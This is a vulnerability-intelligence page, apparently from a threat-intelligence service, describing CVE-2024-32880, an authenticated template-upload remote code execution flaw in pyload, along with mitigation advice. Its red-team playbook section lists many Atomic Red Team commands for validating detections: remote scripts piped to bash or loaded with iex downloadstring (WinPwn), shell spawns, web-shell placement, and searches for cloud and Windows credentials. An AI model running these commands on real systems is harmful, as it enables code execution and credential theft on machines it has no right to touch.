CVE-2024-32880
Overview
This vulnerability is an arbitrary file upload flaw within the pyload download manager. The root cause lies in insufficient validation of user-supplied templates uploaded to the download folder configuration feature. The affected component is the authenticated user interface that manages download folder paths and template uploads, allowing crafted payloads to be stored in arbitrary locations.
Vulnerability Description
pyload is an open-source Download Manager written in pure Python. An authenticated user can change the download folder and upload a crafted template to the specified folder lead to remote code execution. There is no fix available at the time of publication.
Impact
An attacker with valid authentication credentials can execute arbitrary code on the server hosting pyload by leveraging the template upload feature. This requires both authentication and network access to the management interface. Successful exploitation can lead to full system compromise, data manipulation, and disruption of download services. The CVSS vector indicates high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) with low attack complexity (AC:L) but requiring high privileges (PR:H).
Solution
As of the current advisory (GHSA-3f7w-p8vr-4v5f), no official patch or fix is available for pyload addressing this vulnerability. Users should monitor the pyload GitHub security advisories for updates. Until a fix is released, restricting access to the management interface and limiting authenticated user privileges is recommended as a temporary mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the open-source download manager, pyload, stems from improper handling of user input, specifically allowing authenticated users to change the download folder and upload crafted templates. This flaw can lead to remote code execution, enabling attackers to execute arbitrary code on the server where pyload is hosted. The core issue lies in the lack of sufficient validation and sanitization of user-supplied data, which permits malicious templates to be uploaded and executed within the context of the application. This vulnerability highlights a critical weakness in the application's design, particularly in its file handling and user permissions management.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user, who may be a legitimate user with malicious intent or an attacker who has gained access to a valid account, can manipulate the download folder setting. By uploading a specially crafted template file to this folder, the attacker can execute arbitrary code on the server. This scenario is particularly concerning in environments where pyload is deployed on shared servers or where multiple users have access to the application. The ability to execute code remotely can lead to further compromise of the server, including data theft, service disruption, or lateral movement within the network.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on pyload for managing downloads. The potential for remote code execution poses a serious business risk, as it can lead to unauthorized access to sensitive data, loss of integrity, and disruption of services. The exploitation of this vulnerability could result in severe financial losses, reputational damage, and regulatory consequences, especially if sensitive customer data is compromised. Organizations that utilize pyload must recognize the critical nature of this vulnerability and the potential ramifications of an exploit.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments and code reviews can help identify weaknesses in the application before they can be exploited. Additionally, organizations should enforce strict access controls, ensuring that only trusted users have the ability to change download settings or upload files. Monitoring and logging user activity can also aid in detecting suspicious behavior, allowing for timely responses to potential exploitation attempts. Furthermore, organizations should consider isolating the pyload application in a controlled environment, limiting its exposure to the internet and reducing the potential attack surface.
In conclusion, the vulnerability in pyload represents a serious threat to organizations utilizing this download manager. The potential for remote code execution through improper handling of user input underscores the need for robust security practices in application development and deployment. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can take proactive steps to protect their systems and data from exploitation. Implementing effective detection and mitigation strategies will be crucial in safeguarding against the risks posed by this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-32880, reflecting a nearly 20% rise in the likelihood of exploitation. This upward trend, while not yet indicative of widespread active exploitation, signals growing interest or preparatory activity among threat actors targeting pyload’s authenticated user functionality. The elevated EPSS score, now approaching the 0.90th percentile, suggests that adversaries may be prioritizing this vulnerability for future attack campaigns. Although no new exploit code or proof-of-concept samples have surfaced in our telemetry, the rising EPSS underscores the necessity for defenders to heighten vigilance around this vulnerability. This shift elevates the risk profile, indicating a moderate increase in potential threat despite the absence of confirmed exploitation events. Organizations relying on pyload should be aware that the window for exploitation is expanding, and the vulnerability’s attractiveness to attackers is intensifying, which could lead to more aggressive targeting in the near term.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Pyload | Pyload | All |
cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-32880 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/pyload/pyload/security/advisories/GHSA-3f7w-p8vr-4v5f |